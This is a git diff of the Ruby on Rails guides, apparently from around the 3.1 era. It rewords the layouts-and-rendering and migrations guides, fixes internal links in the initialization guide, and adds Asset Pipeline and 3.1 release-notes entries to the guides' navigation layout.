+This file defines the +Rails::Configuration+ module, containing the +MiddlewareStackProxy+ class as well as the +Generators+ class. The +MiddlewareStackProxy+ class is used for managing the middleware stack for an application, which we'll see later on. The +Generators+ class provides the functionality used for configuring what generators an application uses through the "+config.generators+ option":configuring.html#configuring-generators.
The first file required in this file is +activesupport/deprecation+.
@@ -597,11 +598,11 @@ This file defines the +ActiveSupport::Notifications+ module. Notifications provi
The "API documentation":http://api.rubyonrails.org/classes/ActiveSupport/Notifications.html for +ActiveSupport::Notifications+ explains the usage of this module, including the methods that it defines.
-The file required in +active_support/notifications.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":http://guides.rubyonrails.org/active_support_core_extensions.html#method-delegation.
+The file required in +active_support/notifications.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":active_support_core_extensions.html#method-delegation.
h4. +activesupport/core_ext/array/wrap+
-As this file comprises of a core extension, it is covered exclusively in "the Active Support Core Extensions guide":http://guides.rubyonrails.org/active_support_core_extensions.html#wrapping
+As this file comprises of a core extension, it is covered exclusively in "the Active Support Core Extensions guide":active_support_core_extensions.html#wrapping
h4. +activesupport/lib/active_support/deprecation/reporting.rb+
@@ -623,7 +624,7 @@ h4. +active_support/ordered_options+
This file is the next file required from +rails/configuration.rb+ is the file that defines +ActiveSupport::OrderedOptions+ which is used for configuration options such as +config.active_support+ and the like.
-The next file required is +active_support/core_ext/hash/deep_dup+ which is covered in "Active Support Core Extensions guide":http://guides.rubyonrails.org/active_support_core_extensions.html#deep_dup
+The next file required is +active_support/core_ext/hash/deep_dup+ which is covered in "Active Support Core Extensions guide":active_support_core_extensions.html#deep_dup
The file that is required next from is +rails/paths+
@@ -681,7 +682,7 @@ When the module from this file (+Rails::Initializable+) is included, it extends
h4. +railties/lib/rails/engine.rb+
-The next file required in +rails/engine.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":http://guides.rubyonrails.org/active_support_core_extensions.html#method-delegation.
+The next file required in +rails/engine.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":active_support_core_extensions.html#method-delegation.
The next two files after this are Ruby standard library files: +pathname+ and +rbconfig+. The file after these is +rails/engine/railties+.
@@ -697,7 +698,7 @@ Once this file has finished loading we jump back to +railties/lib/rails/plugin.r
h4. Back to +railties/lib/rails/plugin.rb+
-The next file required in this is a core extension from Active Support called +array/conversions+ which is covered in "this section":http://guides.rubyonrails.org/active_support_core_extensions.html#array-conversions of the Active Support Core Extensions Guide.
+The next file required in this is a core extension from Active Support called +array/conversions+ which is covered in "this section":active_support_core_extensions.html#array-conversions of the Active Support Core Extensions Guide.
Once that file has finished loading, the +Rails::Plugin+ class is defined.
@@ -760,7 +761,6 @@ def subclasses
end
</ruby>
-
The +config+ method used at the top of +I18n::Railtie+ is defined on +Rails::Railtie+ and is defined like this:
<ruby>
@@ -817,7 +817,7 @@ def initializer(name, opts = {}, &blk)
end
</ruby>
-An initializer can be configured to run before or after another initializer, which we'll see a couple of times throughout this initialization process. Anything that inherits from +Rails::Railtie+ may also make use of the +initializer+ method, something which is covered in the "Configuration guide":[http://ryanbigg.com/guides/configuring.html#rails-railtie-initializer].
+An initializer can be configured to run before or after another initializer, which we'll see a couple of times throughout this initialization process. Anything that inherits from +Rails::Railtie+ may also make use of the +initializer+ method, something which is covered in the "Configuration guide":configuring.html#rails-railtie-initializer.
The +Initializer+ class here is defined within the +Rails::Initializable+ module and its +initialize+ method is defined to just set up a couple of variables:
@@ -847,7 +847,7 @@ The +Collection+ class in +railties/lib/rails/initializable.rb+ inherits from +A
The +initializers_chain+ method referenced in the +initializers_for+ method is defined like this:
-<rub>
+<ruby>
def initializers_chain
initializers = Collection.new
ancestors.reverse_each do | klass |
diff --git a/railties/guides/source/layout.html.erb b/railties/guides/source/layout.html.erb
index 5dcac8e74c..4c979888b7 100644
--- a/railties/guides/source/layout.html.erb
+++ b/railties/guides/source/layout.html.erb
@@ -5,7 +5,7 @@
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
-<title><%= yield(:page_title) || 'Ruby on Rails guides' %></title>
+<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
@@ -71,6 +71,7 @@
<dd><a href="configuring.html">Configuring Rails Applications</a></dd>
<dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
<dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+ <dd><a href="asset_pipeline.html">Asset Pipeline</a></dd>
<dt>Extending Rails</dt>
<dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
@@ -83,13 +84,14 @@
<dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
<dt>Release Notes</dt>
+ <dd><a href="3_1_release_notes.html">Ruby on Rails 3.1 Release Notes</a></dd>
<dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
<dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
<dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
</dl>
</div>
</li>
- <li><a href="contribute.html">Contribute</a></li>
+ <li><a href="contributing_to_ruby_on_rails.html">Contribute</a></li>
<li><a href="credits.html">Credits</a></li>
</ul>
</div>
@@ -127,6 +129,10 @@
<%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %>
for style and conventions.
</p>
+ <p>
+ If for whatever reason you spot something to fix but cannot patch it yourself, please
+ <%= link_to 'open an issue', 'https://github.com/rails/rails/issues' %>.
+ </p>
<p>And last but not least, any kind of discussion regarding Ruby on Rails
documentation is very welcome in the <%= link_to 'rubyonrails-docs mailing list', 'http://groups.google.com/group/rubyonrails-docs' %>.
</p>
diff --git a/railties/guides/source/layouts_and_rendering.textile b/railties/guides/source/layouts_and_rendering.textile
index 57485e8986..df7b9b364c 100644
--- a/railties/guides/source/layouts_and_rendering.textile
+++ b/railties/guides/source/layouts_and_rendering.textile
@@ -90,7 +90,7 @@ If we want to display the properties of all the books in our view, we can do so
<%= link_to 'New book', new_book_path %>
</ruby>
-NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator).
+NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. Beginning with Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), and +.builder+ for Builder (XML generator).
h4. Using +render+
@@ -334,7 +334,7 @@ render :status => 500
render :status => :forbidden
</ruby>
-Rails understands both numeric status codes and symbols for status codes.
+Rails understands both numeric and symbolic status codes.
h6. The +:location+ Option
@@ -348,9 +348,9 @@ h5. Finding Layouts
To find the current layout, Rails first looks for a file in +app/views/layouts+ with the same base name as the controller. For example, rendering actions from the +PhotosController+ class will use +app/views/layouts/photos.html.erb+ (or +app/views/layouts/photos.builder+). If there is no such controller-specific layout, Rails will use +app/views/layouts/application.html.erb+ or +app/views/layouts/application.builder+. If there is no +.erb+ layout, Rails will use a +.builder+ layout if one exists. Rails also provides several ways to more precisely assign specific layouts to individual controllers and actions.
-h6. Specifying Layouts on a per-Controller Basis
+h6. Specifying Layouts for Controllers
-You can override the automatic layout conventions in your controllers by using the +layout+ declaration in the controller. For example:
+You can override the default layout conventions in your controllers by using the +layout+ declaration. For example:
<ruby>
class ProductsController < ApplicationController
@@ -359,9 +359,9 @@ class ProductsController < ApplicationController
end
</ruby>
-With this declaration, all methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout.
+With this declaration, all of the methods within +ProductsController+ will use +app/views/layouts/inventory.html.erb+ for their layout.
-To assign a specific layout for the entire application, use a declaration in your +ApplicationController+ class:
+To assign a specific layout for the entire application, use a +layout+ declaration in your +ApplicationController+ class:
<ruby>
class ApplicationController < ActionController::Base
@@ -370,7 +370,7 @@ class ApplicationController < ActionController::Base
end
</ruby>
-With this declaration, all views in the entire application will use +app/views/layouts/main.html.erb+ for their layout.
+With this declaration, all of the views in the entire application will use +app/views/layouts/main.html.erb+ for their layout.
h6. Choosing Layouts at Runtime
@@ -392,9 +392,9 @@ class ProductsController < ApplicationController
end
</ruby>
-Now, if the current user is a special user, they'll get a special layout when viewing a product. You can even use an inline method to determine the layout:
+Now, if the current user is a special user, they'll get a special layout when viewing a product.
-You can also decide the layout by passing a Proc object, the block you give the Proc will be given the +controller+ instance, so you can make decisions based on the current request. For example:
+You can even use an inline method, such as a Proc, to determine the layout. For example, if you pass a Proc object, the block you give the Proc will be given the +controller+ instance, so the layout can be determined based on the current request:
<ruby>
class ProductsController < ApplicationController
@@ -404,7 +404,7 @@ end
h6. Conditional Layouts
-Layouts specified at the controller level support +:only+ and +:except+ options that take either a method name or an array of method names which correspond to method names within the controller:
+Layouts specified at the controller level support the +:only+ and +:except+ options. These options take either a method name, or an array of method names, corresponding to method names within the controller:
<ruby>
class ProductsController < ApplicationController
@@ -416,7 +416,7 @@ With this declaration, the +product+ layout would be used for everything but the
h6. Layout Inheritance
-Layouts are shared downwards in the hierarchy, and more specific layouts always override more general ones. For example:
+Layout declarations cascade downward in the hierarchy, and more specific layout declarations always override more general ones. For example:
* +application_controller.rb+
@@ -495,9 +495,9 @@ def show
end
</ruby>
-Make sure you use +and return+ and not +&amp;&amp; return+ because while the former will work, the latter will not due to operator precedence in the Ruby Language.
+Make sure to use +and return+ and not +&amp;&amp; return+, since +&amp;&amp; return+ will not work due to the operator precedence in the Ruby Language.
-Note that the implicit render done by ActionController detects if +render+ has been called, and thus avoids this error. Therefore, the following will work without errors:
+Note that the implicit render done by ActionController detects if +render+ has been called, so the following will work without errors:
<ruby>
def show
@@ -515,10 +515,10 @@ h4. Using +redirect_to+
Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
<ruby>
-redirect_to photos_path
+redirect_to photos_url
</ruby>
-You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from:
+You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. There's also a special redirect that sends the user back to the page they just came from:
<ruby>
redirect_to :back
@@ -526,7 +526,7 @@ redirect_to :back
h5. Getting a Different Redirect Status Code
-Rails uses HTTP status code 302 (temporary redirect) when you call +redirect_to+. If you'd like to use a different status code (perhaps 301, permanent redirect), you can do so by using the +:status+ option:
+Rails uses HTTP status code 302, a temporary redirect, when you call +redirect_to+. If you'd like to use a different status code, perhaps 301, a permanent redirect, you can use the +:status+ option:
<ruby>
redirect_to photos_path, :status => 301
@@ -536,7 +536,7 @@ Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts
h5. The Difference Between +render+ and +redirect_to+
-Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
+Sometimes inexperienced developers think of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
Consider these actions to see the difference:
@@ -553,7 +553,7 @@ def show
end
</ruby>
-With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view is presumably depending on. One way to fix this is to redirect instead of rendering:
+With the code in this form, there will likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view will probably require. One way to fix this is to redirect instead of rendering:
<ruby>
def index
@@ -570,9 +570,9 @@ end
With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well.
-The only downside to this code, is that it requires a round trip to the browser, the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen.
+The only downside to this code is that it requires a round trip to the browser: the browser requested the show action with +/books/1+ and the controller finds that there are no books, so the controller sends out a 302 redirect response to the browser telling it to go to +/books/+, the browser complies and sends a new request back to the controller asking now for the +index+ action, the controller then gets all the books in the database and renders the index template, sending it back down to the browser which then shows it on your screen.
-While in a small app, this added latency might not be a problem, it is something to think about when speed of response is of the essence. One way to handle this double request (though a contrived example) could be:
+While in a small application, this added latency might not be a problem, it is something to think about if response time is a concern. We can demonstrate one way to handle this with a contrived example:
<ruby>
def index
@@ -588,7 +588,7 @@ def show
end
</ruby>
-Which would detect that there are no books, populate the +@books+ instance variable with all the books in the database and then directly render the +index.html.erb+ template returning it to the browser with a flash alert message telling the user what happened.
+This would detect that there are no books with the specified ID, populate the +@books+ instance variable with all the books in the model, and then directly render the +index.html.erb+ template, returning it to the browser with a flash alert message to tell the user what happened.
h4. Using +head+ To Build Header-Only Responses
@@ -598,7 +598,7 @@ The +head+ method can be used to send responses with only headers to the browser
head :bad_request
</ruby>
-Which would produce the following header:
+This would produce the following header:
<shell>
HTTP/1.1 400 Bad Request
@@ -611,7 +611,7 @@ Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache
</shell>
-Or you can use other HTTP headers to convey additional information:
+Or you can use other HTTP headers to convey other information:
<ruby>
head :created, :location => photo_path(@photo)
@@ -633,15 +633,15 @@ Cache-Control: no-cache
h3. Structuring Layouts
-When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:
+When Rails renders a view as a response, it does so by combining the view with the current layout, using the rules for finding the current layout that were covered earlier in this guide. Within a layout, you have access to three tools for combining different bits of output to form the overall response:
* Asset tags
* +yield+ and +content_for+
* Partials
-h4. Asset Tags
+h4. Asset Tag Helpers
-Asset tags provide methods for generating HTML that links views to feeds, JavaScript, stylesheets, images, videos and audios. These are the six asset tags available in Rails:
+Asset tag helpers provide methods for generating HTML that link views to feeds, JavaScript, stylesheets, images, videos and audios. There are six asset tag helpers available in Rails:
* +auto_discovery_link_tag+
* +javascript_include_tag+
@@ -650,11 +650,11 @@ Asset tags provide methods for generating HTML that links views to feeds, JavaSc
* +video_tag+
* +audio_tag+
-You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +&lt;head&gt;+ section of a layout.
+You can use these tags in layouts or other views, although the +auto_discovery_link_tag+, +javascript_include_tag+, and +stylesheet_link_tag+, are most commonly used in the +&lt;head&gt;+ section of a layout.
-WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
+WARNING: The asset tag helpers do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
-h5. Linking to Feeds with +auto_discovery_link_tag+
+h5. Linking to Feeds with the +auto_discovery_link_tag+
The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag:
@@ -663,13 +663,13 @@ The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsread
{:title => "RSS Feed"}) %>
</erb>
-There are three tag options available for +auto_discovery_link_tag+:
+There are three tag options available for the +auto_discovery_link_tag+:
-* +:rel+ specifies the +rel+ value in the link (defaults to "alternate")
+* +:rel+ specifies the +rel+ value in the link. The default value is "alternate".
* +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically.
-* +:title+ specifies the title of the link
+* +:title+ specifies the title of the link. The default value is the upshifted +:type+ value, for example, "ATOM" or "RSS".
-h5. Linking to JavaScript Files with +javascript_include_tag+
+h5. Linking to JavaScript Files with the +javascript_include_tag+
The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+:
@@ -738,7 +738,7 @@ By default, the combined file will be delivered as +javascripts/all.js+. You can
You can even use dynamic paths such as +cache/#{current_site}/main/display+.
-h5. Linking to CSS Files with +stylesheet_link_tag+
+h5. Linking to CSS Files with the +stylesheet_link_tag+
The +stylesheet_link_tag+ helper returns an HTML +&lt;link&gt;+ tag for each source provided. Rails looks in +public/stylesheets+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/stylesheets/main.css+:
@@ -764,7 +764,7 @@ To include +http://example.com/main.css+:
<%= stylesheet_link_tag "http://example.com/main.css" %>
</erb>
-By default, +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+, or +:type+):
+By default, the +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (+:media+, +:rel+, or +:type+):
<erb>
<%= stylesheet_link_tag "main_print", :media => "print" %>
@@ -797,7 +797,7 @@ By default, the combined file will be delivered as +stylesheets/all.css+. You ca
You can even use dynamic paths such as +cache/#{current_site}/main/display+.
-h5. Linking to Images with +image_tag+
+h5. Linking to Images with the +image_tag+
The +image_tag+ helper builds an HTML +&lt;img /&gt;+ tag to the specified file. By default, files are loaded from +public/images+.
@@ -846,7 +846,7 @@ In addition to the above special tags, you can supply a final hash of standard H
:class => 'nav_bar' %>
</erb>
-h5. Linking to Videos with +video_tag+
+h5. Linking to Videos with the +video_tag+
The +video_tag+ helper builds an HTML 5 +&lt;video&gt;+ tag to the specified file. By default, files are loaded from +public/videos+.
@@ -882,7 +882,7 @@ This will produce:
<video><source src="trailer.ogg" /><source src="movie.ogg" /></video>
</erb>
-h5. Linking to Audio files with +audio_tag+
+h5. Linking to Audio Files with the +audio_tag+
The +audio_tag+ helper builds an HTML 5 +&lt;audio&gt;+ tag to the specified file. By default, files are loaded from +public/audios+.
@@ -933,7 +933,7 @@ You can also create a layout with multiple yielding regions:
The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method.
-h4. Using +content_for+
+h4. Using the +content_for+ Method
The +content_for+ method allows you to insert content into a named +yield+ block in your layout. For example, this view would work with the layout that you just saw:
@@ -1093,6 +1093,13 @@ In Rails 3.0, there is also a shorthand for this. Assuming +@products+ is a coll
Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:
+In the event that the collection is empty, +render+ will return nil, so it should be fairly simple to provide alternative content.
+
+<erb>
+<h1>Products</h1>
+<%= render(@products) || 'There are no products available.' %>
+</erb>
+
* +index.html.erb+
<erb>
@@ -1179,23 +1186,11 @@ On pages generated by +NewsController+, you want to hide the top menu and add a
<% end %>
<% content_for :content do %>
<div id="right_menu">Right menu items here</div>
- <%= yield(:news_content) or yield %>
+ <%= content_for?(:news_content) ? yield(:news_content) : yield %>
<% end %>
<%= render :template => 'layouts/application' %>
</erb>
That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.
-There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +yield(:news_content) or yield+ with simply +yield+.
-
-h3. Changelog
-
-* April 4, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com
-* January 25, 2010: Rails 3.0 Update by "Mikel Lindsaar":credits.html#raasdnil
-* December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates
-* December 27, 2008: Information on new rendering defaults by "Mike Gunderloy":credits.html#mgunderloy
-* November 9, 2008: Added partial collection counter by "Mike Gunderloy":credits.html#mgunderloy
-* November 1, 2008: Added +:js+ option for +render+ by "Mike Gunderloy":credits.html#mgunderloy
-* October 16, 2008: Ready for publication by "Mike Gunderloy":credits.html#mgunderloy
-* October 4, 2008: Additional info on partials (+:object+, +:as+, and +:spacer_template+) by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
-* September 28, 2008: First draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
+There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :template => 'layouts/news'+ to base a new layout on the News layout. If you are sure you will not subtemplate the +News+ layout, you can replace the +content_for?(:news_content) ? yield(:news_content) : yield+ with simply +yield+.
diff --git a/railties/guides/source/migrations.textile b/railties/guides/source/migrations.textile
index e51ee0f535..c63f2aa119 100644
--- a/railties/guides/source/migrations.textile
+++ b/railties/guides/source/migrations.textile
@@ -91,13 +91,13 @@ Active Record provides methods that perform common data definition tasks in a da
* +add_index+
* +remove_index+
-If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models).
+If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ method allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models).
On databases that support transactions with statements that change the schema (such as PostgreSQL or SQLite3), migrations are wrapped in a transaction. If the database does not support this (for example MySQL) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.
h4. What's in a Name
-Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example +20080906120000_create_products.rb+ should define +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class.
+Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The name of the migration class (CamelCased version) should match the latter part of the file name. For example +20080906120000_create_products.rb+ should define class +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class.
Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by adding the following line to +config/application.rb+.
@@ -115,7 +115,7 @@ h4. Changing Migrations
Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run +rake db:migrate+. You must rollback the migration (for example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version.
-In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless.
+In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead, you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or, more generally, which has not been propagated beyond your development machine) is relatively harmless.
h4. Supported Types
@@ -134,7 +134,7 @@ Active Record supports the following types:
* +:binary+
* +:boolean+
-These will be mapped onto an appropriate underlying database type, for example with MySQL +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example
+These will be mapped onto an appropriate underlying database type. For example, with MySQL the type +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example
<ruby>
create_table :products do |t|
@@ -148,7 +148,7 @@ h3. Creating a Migration
h4. Creating a Model
-The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running
+The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want, then statements for adding these columns will also be created. For example, running
<shell>
$ rails generate model Product name:string description:text
@@ -262,7 +262,7 @@ end
which creates a +products+ table with a column called +name+ (and as discussed below, an implicit +id+ column).
-The object yielded to the block allows you to create columns on the table. There are two ways of doing this: The first (traditional) form looks like
+The object yielded to the block allows you to create columns on the table. There are two ways of doing it. The first (traditional) form looks like
<ruby>
create_table :products do |t|
@@ -270,7 +270,7 @@ create_table :products do |t|
end
</ruby>
-the second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same.
+The second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same.
<ruby>
create_table :products do |t|
@@ -278,7 +278,7 @@ create_table :products do |t|
end
</ruby>
-By default +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example
+By default, +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or, if you don't want a primary key at all (for example for a HABTM join table), you can pass the option +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example,
<ruby>
create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
@@ -286,7 +286,7 @@ create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
end
</ruby>
-will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL the default is +ENGINE=InnoDB+).
+will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL, the default is +ENGINE=InnoDB+).
h4. Changing Tables
@@ -300,6 +300,7 @@ change_table :products do |t|
t.rename :upccode, :upc_code
end
</ruby>
+
removes the +description+ and +name+ columns, creates a +part_number+ column and adds an index on it. Finally it renames the +upccode+ column. This is the same as doing
<ruby>
@@ -347,11 +348,11 @@ end
</ruby>
will add an +attachment_id+ column and a string +attachment_type+ column with a default value of 'Photo'.
-NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ for that or a plugin that adds "foreign key support":#active-record-and-referential-integrity.
+NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ or a plugin that adds "foreign key support":#active-record-and-referential-integrity.
-If the helpers provided by Active Record aren't enough you can use the +execute+ function to execute arbitrary SQL.
+If the helpers provided by Active Record aren't enough you can use the +execute+ method to execute arbitrary SQL.
-For more details and examples of individual methods check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+).
+For more details and examples of individual methods, check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+).
h4. Writing Your +change+ Method
@@ -370,7 +371,7 @@ If you're going to use other methods, you'll have to write the +up+ and +down+ m
h4. Writing Your +down+ Method
-The +down+ method of your migration should revert the transformations done by the +up+ method. In other words the database schema should be unchanged if you do an +up+ followed by a +down+. For example if you create a table in the +up+ method you should drop it in the +down+ method. It is wise to do things in precisely the reverse order to in the +up+ method. For example
+The +down+ method of your migration should revert the transformations done by the +up+ method. In other words, the database schema should be unchanged if you do an +up+ followed by a +down+. For example, if you create a table in the +up+ method, you should drop it in the +down+ method. It is wise to reverse the transformations in precisely the reverse order they were made in the +up+ method. For example,
<ruby>
class ExampleMigration < ActiveRecord::Migration
@@ -401,22 +402,22 @@ class ExampleMigration < ActiveRecord::Migration
end
</ruby>
-Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise +ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration an error message will be displayed saying that it can't be done.
